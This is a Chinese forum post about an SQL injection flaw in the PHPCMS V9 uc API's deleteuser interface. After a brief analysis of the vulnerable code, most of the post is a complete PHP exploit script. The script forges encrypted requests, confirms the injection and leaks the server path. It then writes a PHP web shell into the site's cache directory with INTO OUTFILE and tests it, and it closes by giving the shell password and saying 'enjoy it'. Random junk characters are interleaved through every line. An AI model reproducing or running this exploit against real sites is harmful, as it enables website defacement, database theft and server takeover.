找回密码
 立即注册
查看: 2533|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% w1 H+ Q& d5 ]+ m
. [3 J5 ?# q1 ?; ?- X4 y3 T0 I, K所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。" ^0 _  Z7 G. R3 S' O6 x' a9 x
: ]$ {) [5 ]. b; x- m) u  }4 k
漏洞分析:
& E: V8 u# a7 {' `9 o# a0 a1.未启用ucenter服务的情况下uc_key为空, h% {% g" i$ Z6 a! F9 E
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
% l5 B# X/ ^8 J! ^& H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 X! a8 l0 k. l. y6 s( Z
    public function deleteuser($get,$post) {
% |" C# H( O$ b1 {3 u        pc_base::load_app_func('global', 'admin');3 i& c6 q, n% p7 i8 U( K
        pc_base::load_app_class('messagequeue', 'admin' , 0);9 O# ^: v* `1 A! B2 S, C: B
        $ids = new_stripslashes($get['ids']);( x2 W% L& ^9 R- }, j
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
! p4 j4 k2 T, W2 D# x0 {( iSQL语句为
* \$ C! X6 C- ]- XSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)  _% X: x- y5 D! Y8 C$ ?+ Z

3 a6 @2 j; ]" l1 K利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell( S3 o" f( k- H9 f/ ]
<?php
3 \8 x$ z; I4 S! gprint_r('7 \9 q: {8 a" k7 d( K
---------------------------------------------------------------------------
+ }# X5 X( y% O2 |/ |" qPHPcms (v9 or Old Version) uc api sql injection 0day
6 ?- w0 n) P( U8 |by rayh4c#80sec.com1 Z$ H% k1 ^4 n$ b) p1 s+ y4 J
---------------------------------------------------------------------------
7 \2 A4 [9 d! D3 h& _. s# D');# V# T4 B! R/ W6 j6 |
$ F9 x. T; U& [8 q
if ($argc<3) {
- U! U" F# p' l& a" I. D: `    print_r('" j5 }1 A4 X; Z8 K
---------------------------------------------------------------------------& ?& K5 {* [8 r9 y! \
Usage: php '.$argv[0].' host path OPTIONS  p& B+ ~1 x2 r$ e8 K/ c4 B* e
host:      target server (ip/hostname)9 U$ K, w( T$ d
path:      path to phpcms( N* ^' ~' F/ U
Options:
0 T* n5 z" e6 w+ L9 [ -p[port]:    specify a port other than 80! p$ c* A5 m, }! J( ^
-P[ip:port]: specify a proxy7 w) k* V& v  S* i* w, W
Example:
5 F0 l* W# V+ d2 ?9 }+ i* Pphp '.$argv[0].' localhost /0 }9 N2 N% U# [" f7 ~- W
php '.$argv[0].' localhost /phpcms/ -p81$ d) R* V5 Q' ]5 d: [) N0 g8 i
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80# z# x  {1 Q8 B. I9 p1 Q" l
---------------------------------------------------------------------------
3 ^3 }7 }! v& Y2 y: Q');
% N  C7 R1 A" K! l3 [    die;1 R  k1 |4 ]* v0 n- V
}4 @; Y  b9 P( e& B- }' h) M
: E) N; J' O" H* T: c
error_reporting(7);% g- s- ?1 J+ I4 S) N
ini_set("max_execution_time",0);
. J* f6 V. p) V1 a+ T, G8 Sini_set("default_socket_timeout",5);) ^7 J* y) s* n

& V5 B5 T- z. P" N7 b& Lfunction quick_dump($string)3 n+ @2 w0 j$ ^5 @2 d; T6 \8 Q2 q
{1 U5 i, Z0 p* p; f3 ]  C
  $result='';$exa='';$cont=0;
+ |7 k- C# x9 H. y  for ($i=0; $i<=strlen($string)-1; $i++)! f$ g. ?- v, b4 M: P
  {8 p, O3 G4 u4 ^- H: t, u  n
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))& R) ]1 _5 X) Q- Z3 t: l
   {$result.="  .";}7 ~. R: s5 m8 m, v" Z/ q
   else
5 V  i# O$ X+ T; t5 c* N   {$result.="  ".$string[$i];}3 w. O/ \9 u0 H
   if (strlen(dechex(ord($string[$i])))==2)
! I7 Z) U3 k) j# U   {$exa.=" ".dechex(ord($string[$i]));}) ^% o; c3 K: P: x  X. q
   else
5 S3 E8 V% r9 i: e   {$exa.=" 0".dechex(ord($string[$i]));}
% @$ e! X! w8 [; T# l" ^/ Q   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% q2 B4 M6 T( k; f3 j1 o  }
! ]- d& ]+ k% J( f return $exa."\r\n".$result;
3 K: S. ]+ g: K8 u9 ?}
; {( k3 e5 C2 J- C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; P" [5 N8 R+ t9 W+ J9 A3 s; y5 h% x' x- K% [
function send($packet)8 K4 i( `6 q# P
{9 \7 r: M. c2 J
  global $proxy, $host, $port, $html, $proxy_regex;1 \/ w* I/ {2 q5 y! w, q- i: h
  if ($proxy=='') {7 [# X2 M! T9 m9 w4 y$ h9 Z
    $ock=fsockopen(gethostbyname($host),$port);/ q' A/ [; F5 t% [  C- u3 w4 |6 r
    if (!$ock) {
3 H. B3 Q- j; k6 K, @8 u      echo 'No response from '.$host.':'.$port; die;
; j+ J, X% C7 Q    }5 R. t% |0 A3 J" H$ [
  }
- `, P3 w4 _6 L# d- K  `+ f  else {7 B+ ?' n( b: J& u6 v; d6 ~
        $c = preg_match($proxy_regex,$proxy);( b1 d+ V) ?5 {( i9 q: m" c
    if (!$c) {
+ A) q6 f, P) [" ]3 D( R      echo 'Not a valid proxy...';die;
9 f8 m- S6 K3 T    }
3 y- ~  g) z  o; ^    $parts=explode(':',$proxy);( j, f4 M7 h8 h2 l% h5 n8 d1 V. d* d" D
    $parts[1]=(int)$parts[1];
" v7 _$ b; r, k+ |; k% a- ?    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";- F) U' W4 [2 E0 H. ?/ B4 a8 z( h
    $ock=fsockopen($parts[0],$parts[1]);# p* K# A$ J$ |* |) ^7 k. {
    if (!$ock) {
) p# D4 n% V& S6 f  o. P- E- ?      echo 'No response from proxy...';die;
: w1 F6 P* Q8 W" k$ c        }
' j3 k0 ?) N+ N" x  }
$ H; E( X4 n3 R/ j  fputs($ock,$packet);
* U1 e% m# Z5 M+ u- V, F2 m  if ($proxy=='') {
! m& v: s/ s$ R! C    $html='';
  x8 [6 H' ?* \, Q- Q$ r' \    while (!feof($ock)) {2 j' X9 u9 s$ Z6 `4 k0 \( a
      $html.=fgets($ock);
1 I  a8 d+ N3 F4 R    }  L1 I. W7 @& }* ^
  }- Y7 E- N% T0 ]- _" W7 }2 H4 c. l
  else {" _) K2 V7 W% Z% r: B% ^/ ]
    $html='';
& J( g" G( C  K6 @) @) d    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' r) V; P/ d2 E  B% h
      $html.=fread($ock,1);
2 z- z6 u" L6 F; T% d, v    }% L- v  Q2 a8 L& E0 S
  }  U8 x2 ?8 D/ \' p# x$ J& j
  fclose($ock);
& u+ @$ u6 @* K7 a. y. f}
# [( }: u! q! r+ h. ?/ D: v1 i7 [* j9 j# s+ `, ]
$host=$argv[1];
3 q( F2 R/ j; b/ |2 t) T$path=$argv[2];( B1 Z2 t, e' C/ C( ?
$port=80;
5 n0 T6 [$ y7 \2 j0 Y3 ^& p$proxy="";( n2 \5 e4 f* K* Q6 Y( {
for ($i=3; $i<$argc; $i++){7 w2 i" T. K! J/ N
$temp=$argv[$i][0].$argv[$i][1];
* ?: V3 L$ t9 q4 L; h( A3 kif ($temp=="-p")
; o& o% P! T2 l; M' w{: r. D+ j; r; B
  $port=(int)str_replace("-p","",$argv[$i]);/ {/ S  S8 Y2 D
}
% j+ d6 R$ E( {2 ^, qif ($temp=="-P")
/ X; ~1 G. z& t: \( u7 r5 q{8 c- g/ P# Z) b; g" _: S! f
  $proxy=str_replace("-P","",$argv[$i]);. D, N" g$ ?- O3 D4 ?; r
}
9 D# H' v; `( {}! I1 v4 V; i1 ]

% Y( N) g/ Z# I1 a7 d: Eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}% P9 w6 {7 X& A2 V
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 f) E. q# \( c
  g2 |4 @3 r$ s; ^; d9 w: V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {/ \1 I+ m+ d8 V; j, h( L

% l/ @, ~' B( p6 Y. P- w6 `# u- J    $ckey_length = 4;
' A4 [& O3 p7 p7 ^
# A0 u2 |2 R6 _5 N5 y0 j* r    $key = md5($key ? $key : '');9 ^; ^5 Y" x- \$ k5 Z
    $keya = md5(substr($key, 0, 16));" b; I8 `; W7 {
    $keyb = md5(substr($key, 16, 16));
% b" G  j) B. w# |    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
5 t7 d6 h) @0 l8 B
+ |4 P2 {+ C. S: Z  ~. j    $cryptkey = $keya.md5($keya.$keyc);
, U1 f$ I$ X2 F2 o% @0 s    $key_length = strlen($cryptkey);% Q+ V- y% S4 |6 I) o  [, l4 Q

2 B) O% f3 O# `% Q6 W7 L4 {    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
8 }1 B6 b( l' H$ c4 n+ G, c    $string_length = strlen($string);
$ L  o% X# |" ?" \
- N( w, p# z5 [$ {5 t% m    $result = '';+ i2 X- i. v3 f. M1 v9 Z7 \9 h
    $box = range(0, 255);" h+ D- ^6 x/ ?1 O! J) }) R! v
& ?9 f) }+ _* h) m5 ?/ |6 e
    $rndkey = array();
7 V! j# V2 ~1 E# E    for($i = 0; $i <= 255; $i++) {0 Y% y& p& L' {# F
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ g& B) n% y% o) W5 o    }6 k) Y/ R; a+ k2 z! _- V/ }
: M. Q) a. ?" ]: o5 Q% _% E6 Q
    for($j = $i = 0; $i < 256; $i++) {) Z& V% k, S) |! _
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;8 v3 ?1 f* O" i1 a! g
        $tmp = $box[$i];
. d" F; v8 q! t0 o        $box[$i] = $box[$j];5 ^4 {2 L. B  h. |+ B2 Q9 |
        $box[$j] = $tmp;4 g: r) Q3 A. R
    }
3 e2 a% m) E. s0 f' h2 w9 M. r+ s3 W) j) a  t: o
    for($a = $j = $i = 0; $i < $string_length; $i++) {; h$ Z" \) e% U5 F& v$ b
        $a = ($a + 1) % 256;9 U, V' B; ^7 P& n/ U
        $j = ($j + $box[$a]) % 256;! x8 I( K. D: s6 K5 |, @2 a
        $tmp = $box[$a];
  b. G6 y* W; i        $box[$a] = $box[$j];
+ F  @$ J- b4 m# p) ], N( f        $box[$j] = $tmp;
( K- t6 W. j+ Q/ X5 j        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. h  ?7 H1 W8 f- |5 o5 K& K    }& O" y' [! z) g8 \- O8 v

6 m2 y! \: @- j( T- L- K    if($operation == 'DECODE') {
- P; {3 y9 J. `. t+ V1 _        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
- j: O& \8 u/ v& H& x0 S            return substr($result, 26);
8 Q2 C: u0 f  O5 f' v6 r        } else {
' d2 z# R, O/ F7 R$ a: L            return '';; _" }/ t9 z0 q
        }. z) |- U7 C  M0 G
    } else {6 c" b2 k% Y2 q5 o% s
        return $keyc.str_replace('=', '', base64_encode($result));
1 p* S" H3 d. g) k1 T. g+ Z    }+ j' U* I8 I4 V) P! Q, H; A& q$ `

1 E  x. T+ I" P( |}/ c3 v; H5 H% Y, Z; O

4 h7 ^' F% J$ J3 C. U' W- L( J$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( y7 w9 b% y" \9 f
$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 `; ^4 c% J( ^) Y
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";+ \$ M# ?+ \, q! R( v% B/ `
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* x; J) j: V: _, o; D$ ?9 c/ m
$packet.="User-Agent: Mozilla/5.0\r\n";* m: Z0 y9 |# W: L0 b  a9 e
$packet.="Host: ".$host."\r\n";- s4 K. S  P' n9 Z8 `; p' V# `
$packet.="Connection: Close\r\n\r\n";
5 Z0 x/ b+ E# n) @# l' esend($packet);
/ }1 o  b4 p/ V- o7 wif(strpos($html,"MySQL Errno") > 0){1 _2 m5 \4 x! i2 y; ]6 X
echo "[2] 发现存在SQL注入漏洞"."\n";, A% s, c& S2 k$ y+ D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";+ J0 |! D2 C. r. v
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 Y0 L" Q/ Z8 {4 G
$packet.="User-Agent: Mozilla/5.0\r\n";/ N) J7 G- [, S3 N3 y
$packet.="Host: ".$host."\r\n";
) @& q2 i# Q( q2 u2 D$packet.="Connection: Close\r\n\r\n";8 y# G2 j9 \( O% u( s6 C  p- A! N% |5 X
send($packet);7 e# d0 r. Z8 L& I# m% F! H4 u' ^
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
8 z8 Q( r" h$ c3 ~' ]//print_r($matches);( Y& N- n  S/ @) [/ y) q" _
if(!empty($matches)){6 A( E" {/ p* |& Y" }
echo "[4] 得到web路径 " . $matches[0]."\n";
" q2 `$ v" p8 ~5 |echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";- X9 Y- Y( O. Z' e
$SQL = "time=999999999999999999999999&ids=1)";( m. i# q+ _: ^0 c# x3 a; ^* e
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";" ~/ b5 K, @+ w1 |9 M% \* g
$SQL.="&action=deleteuser";
, a6 Y! D  @2 U; U$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ d; G& E8 h2 ?6 L( e( ]  `0 l
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# i8 ?. @' |- @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 Z3 k- E: Z1 Q5 d" C9 Y& |+ d. r$packet.="User-Agent: Mozilla/5.0\r\n";3 u1 z3 u7 n4 e: @$ `3 g1 r
$packet.="Host: ".$host."\r\n";+ X2 ?4 i' c; r; ]. l2 r
$packet.="Connection: Close\r\n\r\n";) D  b: B2 O, ^: B' k0 R$ c
send($packet);
5 X; i7 p$ w! ^- }" ]if(strpos($html,"Access denied") > 0){" ^9 O& w, I/ e
echo "[-] MYSQL权限过低 禁止写入文件 ";1 L8 n  G7 i) O. M" z% U+ T* b
die;# d* y5 G4 z- K) H0 A1 z& ^* k
}1 t2 a0 f) P. f, l
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";2 H( L6 w! Y/ P' m
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";. _- v4 M: l( F& z4 P
$packet.="User-Agent: Mozilla/5.0\r\n";
9 S) ^) U8 @: `$packet.="Host: ".$host."\r\n";
; P8 t/ S( q  d' h* f% R" r. L) D$packet.="Connection: Close\r\n\r\n";+ c- r6 u: @0 m  d' n
send($packet);
1 f% k& g' p( O4 tif(strpos($html,"<title>phpinfo()</title>") > 0){+ [4 D) _8 n: W" ^. }
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ u# Y3 e, |& T3 z3 a}
+ T- H* G+ j; ?, b1 H  Z}else{
& q5 f% Q* `: C' N  {* {& Qecho "[-]未取到web路径 ";& S$ X% b0 n: d
}) c1 b! D2 i" I7 s, Y
}else{
! K7 `% n8 F* Q# A& M, Techo "[*]不存在SQL注入漏洞"."\n";
9 W; q+ z% b* S( }}
8 d# R( ~1 J) }1 U$ W8 P+ I, Z& q7 j5 J/ o0 }
?>
) S- V- ]8 ?* }8 J% t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表